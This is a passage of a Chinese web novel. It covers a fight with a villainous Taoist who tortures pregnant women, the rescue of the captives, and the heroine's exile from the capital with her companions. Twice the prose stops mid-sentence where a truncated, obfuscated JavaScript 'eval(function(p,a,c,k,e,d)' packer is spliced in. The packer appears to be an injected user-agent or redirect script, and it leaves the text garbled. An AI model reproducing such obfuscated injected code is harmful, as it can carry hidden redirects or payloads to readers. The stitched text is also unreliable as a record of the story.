糟了,韩濯那边! 宋青瑛心跳如擂鼓,出了一身冷汗,他蓦地伸手将党参推到丹参怀里,拔腿就跑。 韩濯这厢仍在和那妖道,不,应当叫张玉申对峙,方才又战过几回合,那妖道似乎有意要消耗她体力,过往种种不吐不快,都倒了个底掉。 “当年那场大火是为了灭口住在西街的那些知晓破腹取婴的太医的,你也深受其害,既然捡了一条命,为何不想办法申冤,反而延续恶行?这些丧命的女子何辜?” 那妖道大笑:“好笑,驸马爷,你倒是说说,什么叫申冤?我的一辈子毁了,我还要对毁我的人卑躬屈膝哀哀上告?凭什么!她们无辜,我就不无辜?我那个爹,我曾经多敬爱他,可他呢?偏袒一个贱妇和一个外人!那时我被关在柴房里,起了大火,没人记得我,我指甲抓破了,流了好多血,火光冲天浓烟滚滚,我一边咳嗽一边喊他,可是呢,他连头都未曾回!” “我亲眼看着我的亲生父亲抱着那大肚子的贱妇离开……我盼着他来救我,可他只惦记着她腹中的孽种,而我,哈哈哈哈哈哈哈哈哈,死了倒也让他两眼清净!” 张玉申的表情突然变得狰狞:“我想杀了那个贱妇,可她和我爹一并命丧黄泉了,哈哈,痛快!如今这些不知廉耻勾勾搭搭搞大自己肚子的女人,怎么不该死?” 韩濯挡过张玉申挥过来的拂尘,心里一阵恶寒,张玉申身子一侧,虚晃一招引得韩濯一刀砍了个空,身体却顷刻间已遥遥在几丈之外,韩濯见他立定,手中似乎拈了什么东西,随后见他右手倏然立起,朝铁床的方向若兰花般展开五指。 糟了! 韩濯来不及思考,朝着李三三和云归那边的铁床扑去。 一颗铁弹破空而来,韩濯只觉得仿佛被人狠狠推了一把,“砰!”地一声正中后心,这一下半点没留情,她踉跄着砸向前去,那弹子是尖的,划破衣服嵌进了肉里,接着钝痛传来,五脏六腑仿佛都被狠狠震得错了位,她没忍住一声痛呼,扶着铁床跪了下去。 李三三方才见势不妙搂着云归狠狠闭眼,预想中的血溅当场并没来临,她睁眼一看,竟是韩濯替她们挡了这一下,汗水打湿了她的鬓角,血色从哆嗦着的嘴唇上褪了个干净,李三三又惊又急,要伸手去拉韩濯,却被她一声痛吟吓得缩回了手。 “喂,喂!”李三三唤道。 “这铁弹是我的看家功夫,她此番定受了不小内伤,除非是大罗金仙救你们,否则凭你这种三脚猫功夫,今日定要留下命来,方才陪你们玩玩罢了,所谓英武韩家,也不过如此。”张玉申脸上现出得意之色,朝这边走来。 “你你你,你离我们远点啊,你别过来,你这个,这个......”李三三一时不知道骂什么她恶心极了这人,又怕骂得太脏激怒了此人她三个死得更快,结结巴巴道。 “少恶心人了。”韩濯额头流下豆大的冷汗,她刚刚咽进去了喉头的腥甜,勉强抬起头。 张玉申笑容有所收敛,看着韩濯缓缓站了起来。 “我还没死呢,”韩濯狠狠抹了一把脸:“我穿了防身甲,你这玩意的不过是中看不中用的银样镴枪头。” 韩濯这边装大瓣蒜,什么防身甲,她根本没那玩意,只是想拖延拖延时间罢了。 “我看你根本不是觉得女人该死。”韩濯直起身:“你是没本事。” “你没本事忤逆你父亲,没本事报复真正放了火的圣上,甚至连杀了那个神棍你都不敢,生生熬到他死你才接替了他的班,本质上还是为圣上解闷的玩意,哈哈,侍奉仇人的感觉如何?” 张玉申的脸色彻底变了。 “这么多年活得像阴沟里的蛆,连人都不敢见,就是练的功夫都阴险至极,只能不断说服自己是天下人对不起你,青楼的姑娘们不少虽被迫沦落风尘却仍有风骨,而你却只能为了讨好奴颜婢膝,自己骨头软,只能转头去在女人身上发泄发泄,费尽心思讨好才能保住你御前地位,这才是真的下贱啊!哦对了,你这副样子,估计也面不了圣,你这么卖力,到头来只能通过永王得圣上的旨意吧,哈哈哈哈哈哈哈好笑,实在好笑!” “你找死!”张玉申咬牙切齿。 韩濯用刀支撑着自己:“有种,你就正面和我打一场,怎么?暗地里龌龊久了,连打架都忘了怎么光明正大?” 张玉申已行至韩濯近前,右手已将将抬起:“你这毛头小子还真以为自己打得过我,不过,陪你玩玩,倒也……” “噗!” 韩濯愣住了。 张玉申也愣住了,他眼睛睁得浑圆,不可置信地低头向心口上看,鲜血洇湿了他的道袍,剧烈的痛感随后传来,就在刚才,一根长长的铁钎瞬间贯穿了他的心脏。 云归缓缓喘息着,方才仿佛豪无知觉的人偶此刻右手紧紧攥着那根折磨过无数女子的凶器,犹如握紧了一颗救命稻草,张玉申回头,脸上青筋毕露,双手仿佛要掐向她的细弱的脖子,云归见状,狠命抽出铁钎,又拼尽全力扎向他的脖颈。 李三三傻了,温热的血溅在了韩濯和云归的脸上,她却浑然不觉,眼神中仿佛拥着一团冰冷的火,张玉申嘴唇嗫嚅着,终究是没说出一句话,了无生气地倒在了韩濯脚边。 云归将自己撑起来,捧着肚子跪在冰凉的地面,猛地拾起掉落的铁钎,狠命戳着张玉申的尸体,韩濯才反应过来,忙和李三三将云归扶起来:“姑娘,姑娘,可以了,可以了,他已经死了。” 当啷一声,云归手中死死攥住的铁钎滑落在地,她眼神空茫,喘息片刻后,突然神经质地大笑起来。 “死了?死了,死了…哈哈哈哈哈哈哈哈” 李三三看着她的面色,觉得要糟,连忙伸手去探她的脉息。 果然,云归很快便笑不出来了,她的脸扭曲起来,一手扶着肚子,面上浮现痛苦之色,贴着韩濯缓缓地滑落于地。 “怎么回事?”韩濯受了内伤,方才站起已是强撑,见云归如此,强忍着痛问道。 “动了胎气,需得我施针才能保住,她身体底子糟践透了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩濯猛然抬头,冷笑道:“怎么,金粉阁一案,殿下是要灭所有知情人的口?” 永王道:“李清云私屯军械,虚报军饷,谋逆之心昭然若揭,他曾是我麾下的人,我此番押他回去,是大义灭亲,任谁都指摘不得,至于你韩家,多次与李清云书信往来,谋逆之事有没有参与,倒也……” “放屁!”韩濯骂道:“欲加之罪,何患无辞。你们的招数十年了,仍然毫无新意,永王殿下啊永王殿下,你杀了李清云,杀了我们,可你杀得死天下人,堵得了天下的悠悠众口么?” “死人是不会说话的。”永王冷冷道,“来人。” 李三三面白如纸,见永王身后两个侍卫沉着脸走上前去,按着腰间佩刀,竟是要灭口。韩濯心跳如擂鼓,知晓此番凶多吉少,眼睛一闭,方欲最后挣扎一番,只听得脚步声响,人群一阵骚乱,一个声音焦急地呼唤:“驸马!” 韩濯睁眼,只见宋青瑛发髻凌乱,神色惶急朝她奔来,韩濯依稀辨得,她身后跟着的正是太子无疑。 “皇弟这是做甚,怕是误会了罢,韩家满门忠勇,怎么会和谋逆扯上关系,就算有嫌疑也应当由圣上定夺,皇弟的性子未免还是太急了些。” 韩濯的耳朵开始嗡鸣,依稀听得永王与太子交锋了一阵,他见太子在这,不好再取韩濯性命,便只冷哼一声,带人走了。 宋青瑛急得在耳边唤她,她偏了偏头表示自己无碍,见云归已被人抬出,松下一口气,一句“多谢”方出口,便昏了过去。 19. 凉夜秋声 太子,永王,李清云…… 韩濯迷迷糊糊听到了一些熟悉的声音,是李三三,还是宋青瑛? 糟了,自己睡了多久?那些姑娘们如何了?宋青瑛呢?他们知不知道我……! 想到这里,韩濯一下子吓醒了,猛地睁开眼欲坐起来,却痛得呻吟了一声,像案板上的鱼扑腾了两下,到底没起来。 “二哥儿!”赵妈妈方才一直候在旁边,见韩濯突然苏醒,吓得从椅子上跌将下来,顾不得站起来趴在床边问道:“二哥儿,你怎么样?” 韩濯抽了一口凉气,来不及回答什么,呢喃道:“有没有,有没有人……” “二哥儿放心,当天接到吴钩那小子的信儿我就赶过去了,大夫还是从前那位,瞒住了,没外人晓得……” 韩濯舒了口气,心里那根弦微微松下来,刚想张口再问,力气却又耗尽了,便阖眼又睡了过去。 迷迷糊糊中有人给她灌什么又苦又酸的玩意,她睁不开眼睛却也被恶心地够呛,很不舒服地乱动,最后好像那人终于放弃了,她心满意足地继续躺着,冷不丁觉得有什么东西在碰她的脸颊和嘴唇,好像暖暖的,还有点香。 该不会是什么美人儿吧,她在梦里傻笑,嘴里却突然被粗暴地怼进了什么东西,随后,熟悉的恶心味道不容拒绝地汹涌而来,她咳嗽的权利也被剥夺了,止不住地想吐,却被人牢牢按在原地。 “好了,这不就完了,磨磨唧唧。”李三三抽出韩濯口中的竹管,引起一震惊天动地的咳嗽。 宋青瑛赶忙去擦韩濯口中溢出来的汤药,好在吐出来的只是一小部分。他给韩濯掖了掖被角,没搭话。 李三三张了张口,想起御旨,也少见地闭了嘴。 二人沉默着,李三三漫无目的地盯着宋青瑛在水盆那拧手帕,灯影摇晃,只能听见哗啦哗啦的水声和廊内的风响。 片刻后,李三三不堪这过分的安静,忍无可忍地发话了:“我说殿下,你打算之后怎么办?” 宋青瑛把帕子晾好,头也不抬:“御旨不是说了么,自然是该去哪就去哪。” “御旨说让这家伙去,也没说让你去,你……” 宋青瑛看了过去,平板道:“其一,我知道的太多,若不去,留在京中,保不齐会在哪天就‘意外’丢了命,我奉劝你也别久留;其二,她本不该卷进这些事,我欠她的人情,哪有在这种时候分道扬镳独善其身的道理?” 说罢,他扭过了头,看来是不打算与李三三交流了。 李三三愣了愣,小声嘀咕道:“这么大火气。” “那二位便多保重吧,我随性惯了,在哪呆不是呆,京城没什么好耍的,我等她醒了便告辞,江湖路远,后会有期。” 宋青瑛想“嗯”一声,但一字却好似重于千钧,到底没说出口,便只是低头沉默。 李三三彻底闭了嘴。 今天下午她从普化寺赶回来,金粉阁已被查封,门口却围了乌泱泱的一片。 “到底咋回事你们听说了没有?” “你没听说正常,毕竟不光彩嘛!” “嚯!难道你就知道?” “我朋友的同乡的儿子在宫里当值,我怎么不知道?” “说来听听?” 李三三从人群中挤过去,见信口开河的那汉子抱着肩,神秘道:“我只讲给你,不过这事儿宫里的人都晓得,也没什么大不了,只要别往外传就是。” 他声音洪亮,哪里像只讲给一人的样子? 见众人竖起耳朵,他得意洋洋道:“昨日二殿下为公主出气,差点打死驸马爷!” 人群一阵喧哗,那人见效果奇佳,装模作样道:“嘘!你们可不要到别处去讲。” “为了啥出气?没听说他们夫妻有啥子龃龉啊,你乱编的吧。” 周围一群人也随声附和,那汉子急了,道:“我乱编?我图啥?再说了,都察到金粉阁了,还不知道因为啥么?” 人群又骚动起来,有人窃窃私语道:“不能吧……” 那汉子面颊红润起来,俨然成了领袖,他高深莫测道:“有的人表面越光鲜,背地里就搞得越脏,男男女女什么都来,要不是公主求情,哪有他驸马一条命在?” 众人感慨万分,一女子辩白道:“可是,金粉阁这种地方世家公子常去啊,也算不得什么吧。” 她的声音被一个书生打扮的人淹没,他瞪着眼珠子口水喷溅:“那是公主!他生活如此糜烂,谁知道公主受了多少委屈?对公主不忠,难道不是对圣上不忠?这样的人,怎配做天子门生!就算文章再好又如何,他韩家满门忠勇,名声毁在了这个酒囊饭袋身上!” 他已经科考了十几次了,考白了头发,考死了爹妈,还是没考出什么名堂来。 “对啊,我听说,他在念书时就搞大了一个女人肚子导致人家投江自杀,还是英武侯摆平的……” “果然啊,这些人哪有什么好东西,我回去说给俺妹子听,看她还惦不惦记。” 李三三忍不住了叫道:“你们这些烂了嘴的胡说八道些什么?” 那带头的汉子一瞧,眯眼睛猥琐地笑了起来:“小丫头,你这么护着她,何必和我们争,不如去给她当小老婆好了!就是不知道那驸马爷被永王这么一吓,还立不立得起来啊哈哈哈哈哈哈哈!” 众人也随着哄笑起来,可接着“啪!”地一声清脆响亮,一群人全都愣住了。 那汉子摸了一下脸,上面现出鲜红的巴掌印,这下一点都没留情,李三三气得头脑发晕,喧嚷的声音传来,隔着一层雾针扎似的。 众人笑起来,都觉得看这汉子被女人打十分有趣:“哎呦兄弟,还不摸那小娘们两下,说不准她真和驸马爷上过床,你也不亏啊。” “小婊/子你敢……”他一句话没说完,就见李三三轻盈地腾跃而起,狠狠踩在了自己的脸上借力越过人群,再定睛一看,她的背影已经在几丈外了。 李三三本来想狠狠大打一架,可是铺天盖地的怒意燃上心头时,却在最顶端时被冷冷浇灭了,她突然就觉得好没意思。 今日阳光也惨淡,影子被浅浅地拉长,她从住满了受害伤病的普化寺出来,转眼就要到萧索的公主府看另一个伤患。 无人管的落叶在门槛前酥酥脆脆地卷来卷去。李三三走上去狠狠踩了一脚。 / 呼呼的风声吹得窗棂响,秋夜里稀稀拉拉下起阑珊的雨来,韩濯不舒服地皱了皱眉,她躺得骨头发酥,睁眼时被灯光晃了晃,没反应过来白天黑夜。 李三三在仰靠着床帐,睡得口水横流,韩濯有点想笑,头微微动了动,转头却撇见了宋青瑛趴在床头,他似乎累极了,睫毛微微颤动着,像墨色的蝴蝶翅膀,几颗尘埃飘荡在上方,好像要把这眼帘叩开一样,额头的朱砂在氤氲的光线里融融,韩濯突然就不敢怎么动了。 宋青瑛还是醒了,他有些恍惚,就着趴在床头的姿势和韩濯对视。 “感觉怎么样?” 韩濯仿佛怕惊扰了人,轻声道:“没什么大事,看着唬人而已。” 宋青瑛支起身,去探韩濯的额头,韩濯有点尴尬,到底也没往后缩,任由宋青瑛把有些凉的手覆了上去。 烧退了,宋青瑛微微放心,见韩濯挣扎着要起来,忙去扶她的后背,她肌肉匀称,但此刻却显得有些淡薄,也不知穿了什么,宋青瑛摸着,觉得亵衣里面不知裹了什么厚重的东西,怕不是保暖用的,倒也没细想。 韩濯半坐起来,觉得五脏六腑没那么难受的灼烧感了,问道:“那些姑娘们如何了?” “金粉阁封了楼,都救出来了,云归孩子没成活,好歹她的命是保住了,太子见事情闹出来了,同意帮些忙,暗中托了大夫在普化寺照料,有几个要寻死,我劝了几回,但她们今后如何,还未可知。” 韩濯叹了口气,这些姑娘们,大多是被骗进来,被拐进来的,她们不明不白的有了身孕,今后在西京如何自处?女人的天地究竟太小,看不到远方便也没了盼头。 “阿瑛,我想着我们能不能开个什么绣坊之类的,让这些姑娘们也有个安稳的地方呆,有点安身立命的本事。” 宋青瑛沉默了。 韩濯觉得不对劲,小心翼翼道:“阿瑛觉得不妥?” 宋青瑛咬咬牙,闭眼道:“圣上要你去灌州赴任,不日便启程,责授……行军司马。” 灌州? 韩濯愣了愣,随后有些不清醒的脑子反应过来,皇帝怎么可能会让她知道这种丑闻之后安逸地继续呆在京中,没找茬杀了她就已经是谢天谢地了。 宋青瑛咬紧牙关,攥紧了拳头低着头,韩濯喃喃道:“金粉阁被查,那你找到罗衣了么?” 宋青瑛压抑片刻,摇头:“金粉阁供给的长生丹是给西京权贵的,宫里那位用的,并不在这里,东窗事发后,宫内后山就起了火,东宫险些被波及到,死伤无数,罗衣怕是……” 感情永王不知何时得了情报,先暗中销毁宫里证据,转头就去金粉阁和韩濯撞上了。 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“多谢,三三姑娘,赵妈妈呢?” “她一把年纪了还要来公主府照顾你,现下晚了我俩就打发她去睡一会儿,也不用谢我,多谢谢你们家公主殿下吧,你之前药吐了人家一脸。” 韩濯平复了下来,听到这番话尴尬至极,看向宋青瑛:“得罪…咳咳咳咳” “不要乱说!”宋青瑛恼道:“没有吐……”说到这也不吭声了,吐是吐了,但没吐一脸,可自己要解释这点听起来也怪怪的。 韩濯的脸还红着,咳干净了,缓了口气,乐观地想:“也不算一无所获,姑娘们至少救出来了些,至于病秧子老登皇帝和他不成器的小登儿子,总是活不过我的,将来如何还未可知,灌州和京城我更是无所谓,天高皇帝远说不定更快活。” 想到这里,韩濯平复下来:“辛苦二位了,江湖相逢,也算难得的缘分,我离京后,各位各自安好,后会有期吧。” 宋青瑛不说话,李三三嚷嚷道:“诶殿下,我就说他也不让你去吧。” 韩濯转头看向宋青瑛,有些诧异,见宋青瑛抬头,咬了咬嘴唇道:“你不带我么?” 见韩濯片刻未答,宋青瑛急道:“我会绣花,会补衣服,小菜我也会烧两道,武艺我在练了,不会给你拖后腿。” 韩濯叹道:“殿下,你我这婚姻私下里本就说好了不作数,你是大齐的长宁公主,身份贵重,何必非要跨越千山万水和在下吃苦。” “我不是什么身份贵重的人,”宋青瑛说道:“宫里那位从来都懒得想起我,否则为什么把我打发去普化寺?你让我和你走吧,我不想待在这一辈子。” 韩濯有些迟疑,李三三抢白道:“你就让他去好了,他没跟你说明白,我跟你说,你就想万一皇上那畜牲要灭他的口怎么办?虽说虎毒不食子,但宫里那位能干出这种事,明显畜牲不如啊……” “行了行了,嘘……”韩濯赶忙去捂嘴,虽然她再认同不过,心里把安平帝千刀万剐了好几遍,到底也害怕李三三这么口无遮拦的虎劲儿。 李三三挥挥手表示明白:“你这人够义气,和那些王公贵族不一样,虽然是我拉你做善事,但要是没我们这遭,你也不能被贬,你吃了亏,却也积了德,细算起来,我们也算两不相欠,山水有相逢,我也要离开这伤心地了,日后你江湖上遇到事,记得有我这个朋友!” 韩濯听她一番讨巧卖乖,生怕自己赖上她,有些哭笑不得,咳了两声摆摆手道:“朋友听着生分些,不如我们问过皇天后土,关系再紧密些?” “怎么个紧密法?”李三三洗耳恭听。 “算命的说我这辈子注定无儿无女,我看你虽然不修边幅,倒也算齐整,要不你委屈点,给我当个闺女?” “谁知道你大还是我大,啊不对,呸!凭什么?便宜死你算了。” 韩濯一面咳一面笑,宋青瑛忙着给她顺背,瞪了李三三一眼,可心下的弦也松了松。 李三三看宋青瑛瞪她,觉得必须拉人下水,道:“谁说你无儿无女,你有这么个贴心老婆,要什么没有,让他给你生去。” “你个不孝女啊,竟然如此编排你老子,诶?”韩濯顺着话茬与李三三斗嘴,却见宋青瑛板着脸,转头噔噔噔跑了出去,背影只露出一双通红的耳朵。 “你说话当小孩子面能不能注意点。”韩濯恼道。 “你们俩这辈分挺复杂。”李三三不嫌事大,幸灾乐祸道。 20. 长亭短亭 “阿瑛,真的不回宫内看一眼?” 宋青瑛摇了摇头,最后看了一眼住了不过几月的公主府:“走吧。” “二哥儿……”赵妈妈一直在哭,韩濯叹了口气,轻轻拍了拍她的背:“日子还长呢,说不定什么时候我就回来了,妈妈你别太难过,候府的丫头小子们都听你的,照顾好自己。” “你不让我老婆子跟着,可我一把老骨头,还能活多少年岁?你说来日方长,可等你回来那一日,说不定我坟头的草都死了三回了呦,我老婆子活了这么久,早就活腻味了,最放心不下的就是你啊,你和我那早夭的外孙女是一般大,我不求别的,只希望你平平安安顺顺遂遂过这一辈子,我两眼一闭就能去了……” 韩濯安抚道:“什么死不死的,妈妈您操劳一辈子,也该享福了,我做主,把我名下一个城郊的庄子送您,我没怎么看顾过,但找泥瓦匠来拾掇一下,应当也舒适的,地契我给你放在……” “我不要那劳什子!”赵妈妈甩手怒道:“你别想这么打发我!” 韩濯被赵妈妈一甩,装模作样“哎呦”一边佯痛一边冲宋青瑛挤眉弄眼。 赵妈妈吓了一跳,随后看着韩濯笑嘻嘻的脸气极反笑:“你这个小没良心的,可不再管你了。”随后又喃喃道:“候府就剩我们几个老东西了,侯爷不在,你也要走……我看你没心没肺,可舍得我了。” 韩濯拉着赵妈妈手哄道:“妈妈,依我一次,嗯?” 她生得本就好,长眉一皱眼睛一眯,任谁都心软,韩濯平日里总是一副天不怕地不怕的做派,此番大庭广众之下撒娇,宋青瑛都替她脸红,吴钩目不斜视站在马车边,像个泥塑的又高又壮的煞神。 又卖乖劝慰了一阵,宋青瑛将韩濯扶上了车,赵妈妈眼见着马车绝尘而去,韩濯从车中探出头朝她挥了挥手,似乎喊着叫她快回去,她追了两步,终究还是停了下来,环顾四周门庭寥落,心下惨然,伫立良久,直到再也看不见那马车才回头缓缓离去。 马车里被布置得还算舒适,宋青瑛给韩濯身后垫了个枕头,道:“路途颠簸,你伤没好全,得小心着些,不然这官还没做,身体先垮了。” “好了好了,”韩濯笑眯眯道:“我已经大好了,殿下不必如此小心。”随后看着宋青瑛,不知怎么笑出了声。 “笑什么?” “我笑啊,我娘都没这么照顾过我,可委屈殿下处理这么多琐碎事了,这些日子,殿下可真成了公主府和候府两家的大管家。” 宋青瑛脸红了,想呸一声,到底没好意思,默默忍了这个亏,可听到韩濯这么说,又忍不住问道:“于夫人没如此照顾过你?” 韩濯一愣,随即道:“我娘忙得很,和我爹一样几年见不了一面,仔细说来,我和赵妈妈还更亲些,也就她事无巨细地嘱咐我,噢对了,还有一位……” 韩濯没说完,吴钩长吁一声,马车便停了。 “这位兄弟,敢问这可是韩家的车驾?” 韩濯闻声认出来人,不由失笑:“真是说曹操曹操就到。” “清之,你,你不必下车,我知晓你的难处,你只消……呜呜呜”来人本就似乎带着哭腔,没说两句,便呜呜哭了起来。 韩濯扶额,伸手将帘子一掀:“我有什么难处,我怎么不知道?” 此人正是崔子盛,自韩濯出了事的一段时间,各世家大族都避韩家如蛇蝎,故崔倍虽听闻韩濯身体抱恙,但因着崔家老爷百般阻挠之故未能探视,今日他费尽了心力收买了自家小厮,从家中溜出一时片刻在城外等待,只为了给韩濯送行。 见了韩濯,他自己心里又悲又愧,知韩濯此时正落魄,而他二人同窗数载,崔倍自是最明白韩濯的傲气,故只是想在车外送一送便罢,谁料韩濯毫不避讳,面色坦然,似乎是真为他来相送而高兴。 韩濯下了车,理了理衣衫道:“多日不见,子盛怎么好似清减了些。” 崔倍擦了擦眼泪:“清之,我对你不住……” “停!打住。”韩濯无奈道:“你如何对我不住了,快别哭了,阿瑛在呢。” 崔倍一愣,连忙向车内见礼。 宋青瑛胡乱客套了几句,韩濯见崔倍不自在,便宽慰他公主最是可亲,只当自家人相处便好。 “西京这些日子流言蜚语四起,你又重伤在身,定然不好受,西京人人知我与你亲厚,我却不曾探视,这和落井下石有什么分别,实非君子所为。” 韩濯在心里为崔倍过高的道德标准震撼了一下,又觉得这偌大西京城为官的哪有什么赤诚人,圣贤书也就只有这种货真价实的书呆傻子才真的读了进去,想起西京往事,不由叹了口气。 “子盛这又何必,我知晓你的难处,再者,即便不知,我又怎能指摘于你,君子不立于危墙之下,人之常情而已,子盛还是快回,别叫崔伯父着急。” 崔倍一听,自己这边的情况韩濯竟是都猜得明白,明明受辱的是她,却还为自己考虑,心下更加难受:“怪不得先生赞你,不以物喜,不以己悲,清之是真君子。” 韩濯被他说得脸红,实在快维持不住在崔子盛面前的假正经了,忍不住问道: “子盛过誉了,你倒是和我讲一讲,西京城里关于我,有什么‘流言蜚语’?” 崔倍的脸一下子涨得通红,移目道:“没什么,胡编乱造罢了。” 韩濯笑道:“你还真是不会撒谎,我猜猜,谋反?额……行为不端?……” “快不要讲了!”崔倍急道。 “好啊,你说给我听,我就不讲了。” 崔倍扭捏了一会儿,道:“说你生活……□□,对公主殿下不忠,与无数青楼女子纠缠不清,还……” “还搞大了人家肚子?”韩濯非常顺利地接了下去。 崔倍低头。 韩濯虽早有预料,但还是有点被恶心到了,如果说自己之前对和崔倍的小黄文还抱着戏谑的态度,觉得“老娘还能在上面我可真牛叉”,现在有点乐观不起来了,如果只是传言倒也罢了,可那些姑娘们被折磨囚禁丢了性命却是真的。自己掺和进这半真半假混着血色的黄谣里,多多少少心里难受。 韩濯叹了口气,崔倍看她如此,觉着勾起了她的伤心事,心里暗暗后悔,道:“清之,日子还长,你是难得的良材,未必没有出头之日,你虽遭了谪迁,但或许京城外另有天地,待清之归来之日,天下谁人不识君?” 韩濯笑了笑:“那借子盛吉言。” 二人又叙了一会儿话,直到吴钩催促,韩濯才提着崔倍送的点心上了车,崔倍见宋青瑛小心地接了东西去扶她,心里大大宽慰,只道韩兄被圣上乱点鸳鸯谱歪打正着有了个好娘子,倒也真应了福兮祸所倚这句古话,随后又觉得自己编排长宁公主千金之躯实在是大逆不道,见马车朝南一路行远,便也摇了摇头,独自惆怅。 一路颠簸,并不如何舒适,韩濯坐不住,把帘子挂起来吹一吹风,似乎崔倍走后,宋青瑛就更沉默了些,本来这小孩就闷,现在更是三棒子打不出一个屁来,韩濯问什么他就嗯嗯敷衍两声,明明刚刚还好好的,韩濯简直莫名其妙,问道:“殿下,你这是又怎么了。” “没有怎么。” 韩濯被宋青瑛弄得心里难受,把崔倍给的点心拿出来,讨好一般递了过去。 “阿瑛尝尝,这桂花糕可是西街那家知味斋做的,独一份,离了西京,再吃到可不知是什么时候了。” 宋青瑛别过了头去:“驸马留着自己吃吧。” 韩濯拿着糕的手尴尬地停在了半空,她摸了摸鼻子,正想说话,宋青瑛却看都没看她一眼,道:“我去外面透透气,驸马在车内安生养着便好。” “诶?” 不等韩濯话音落下,宋青瑛便掀了帘子,韩濯忙道:“殿下,您还是回来比较好,万一摔下去怎么办,吴钩!拦着点。” 吴钩目不斜视:“车板挺宽的二公子,属下一定护好了殿下,请二公子放心。” 有病吧,费那功夫分神照顾就不能让他回来吗? 韩濯觉得郁闷,一下火气就上来了,是他自己要跟着的,现在走都走了,他倒不高兴了,既然如此,何必弄得大家都不愉快。 韩濯沉声道:“吴钩兄弟,劳烦停车,掉头。” “是。” 宋青瑛有些慌,忙拦住吴钩:“为何?” “灌州穷乡僻壤的地界,哪能让殿下这般金枝玉叶去吃苦,臣还是送你回京罢。” “驸马这是要赶我走?”宋青瑛颤声道。 “岂敢。”韩濯道:“殿下年少,万事都欠考量,和臣同行,怕只是一时兴起之故,殿下自出城便郁郁寡欢,这一路舟车劳顿的辛苦都在其次,若遇见山贼匪盗,又该如何?臣不能让殿下涉险,殿下请回吧。” 宋青瑛欲言又止,想说的话在嘴边绕了几圈,到底没说出来。 他自长生丹事件后心里便愧疚得厉害,只觉得是自己害得韩濯受了重伤又丢官罢爵,只能尽心照顾着才获得了一点安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“呸!”李三三啐了一口,随后道:“我突然想起来,自从我遇见你,没少倒霉,连西京我都待不下去了,砸了饭碗,你说,按道理你是不是得给我点补偿?我后来想了想,你既然要当官,让我跟着你混口饭吃,我就算你欠我的还了,我这人厚道,可以顺便给你当半个医师,认识一场,姑奶奶宽宏大量,我吃点亏便吃点吧。” 宋青瑛被这人的不要脸话术震惊了一下,明明是这家伙自己觉得良心不安,反过来说得好像是韩濯占了她便宜一样。 韩濯偷偷看宋青瑛的脸色,见他有所缓和,便想着借这一茬糊弄过去,笑了笑道:“那可真是谢谢三三姑娘了。” “要不要上车?” “不必。”李三三拍了拍□□的小灰驴:“我有死鬼。” “什么?”韩宋二人异口同声。 “是啊,我的驴。” “为什么叫这个,不对,你哪来的驴?” “这我可以一并回答。”李三三严肃道:“我发现那个龟公屠老二竟在京郊有田产,就剩两个美貌少女守着,他这身份怎么还养得起小妾,定是没少在姑娘身上搜刮,我告诉那两个姑娘屠老二早就犯了死罪进了大牢,她俩可高兴了,一高兴就把这不义之财分了我点,我就顺了这头驴,这名字嘛自然出处就是从这来的,屠老二下了黄泉变了鬼可是大大的好事,驴随主人,沾沾喜气,我觉得挺好。” 李三三看宋青瑛明显刚刚情绪不对,有意逗逗他,道:“死鬼聪明得很,吹一下口哨就能把它招呼过来,你试试。” 宋青瑛终于找到机会把他和韩濯的事放在一边,依李三三之言撅了撅嘴,却只发出来气流声。 李三三扶额,宋青瑛也觉得有点好笑,又有点不好意思,李三三建议道:“你那个哨子呢?” 宋青瑛从怀中取出一个小玩意,送到嘴边吹了一下。 “呱——” 这声音未免过于奇特,是韩濯送的那哨子无疑,李三三笑得直打跌,可□□的死鬼还真的朝宋青瑛走去。 “你看!”李三三自豪道。 韩濯心情复杂地看了看哨子,更觉得自己刚才态度过于强硬,实在该死。 小灰驴死鬼驴如其名,长了一对死鱼眼,韩濯越看越觉得这驴在代替宋青瑛对她翻白眼,心道:“明明是个晦气名字,再者说依李三三的做派,怎么可能只顺了一头驴。”摆摆手笑了笑,让李三三别在宋青瑛面前胡诌,吩咐吴钩继续赶路,见宋青瑛面色轻松了不少,也兀自松了一口气。 21. 同床共枕 一路车马颠簸,韩濯和宋青瑛虽闹了别扭,好在有个不甘寂寞的活宝李三三,倒也不算苦闷。 黄昏时分,一行人在子午镇落脚,韩濯下了车,抬头见暮色沉沉,远山连绵不尽,峰入云涛,不禁想起曾读的诗句,脱口念道:“云横秦岭家何在?雪拥蓝关马不前……①” 念到此处,想起诗人写诗的境遇,倒是与自己此刻相和,不过韩濯没什么“欲为圣明除弊事”的情怀,在她眼里若皇帝老儿有眼无珠,那自己就不干了算了,大齐风光还未曾领略,在哪呆不是呆,想到此诗下一句,不大吉利倒在其次,只是她一直劝慰自己只当换个环境舒缓心情,不想歌什么失路之悲,因此住了口。 宋青瑛在她身边跳下了车,恰巧听到她念的这两句,只是垂头默然。 子午镇虽不大,但因着在秦岭脚下,常招待西京与蜀地来往的行客,虽不繁华,却客店众多,可这些时日不知为何,远近十几家尽是门庭寥落,韩濯便就近挑了一家看上去还算整洁的客店,小二见他们衣着齐整,也不像跑江湖的泥腿子,殷勤地过来招呼牵马。 “四位客官,打尖儿还是住店?” 李三三抢道:“三间三间,布置得舒适点,烹点酒菜煮好了送上来,老娘快饿死了。” “三间?”其余三人异口同声,都转头看向了李三三,宋青瑛开了口:“我们四个人,为何要三间?” 李三三瞪眼道:“今时不同往日,银子要省着花,两间太挤了,本姑娘不想和旁人住,再者你们小两口新婚不久为啥不住一起?奇也怪哉。” 李三三虽为人荒唐,但在韩宋二人身上可谓明察秋毫,这一路看出了二人的别扭,料定和韩濯贬官的那堆弯弯绕绕脱不开干系,有意让这两人和好,免得剩下的路程过于沉闷无趣。 吴钩转向韩濯:“公子,你若不想与殿下同住,住我这间。” 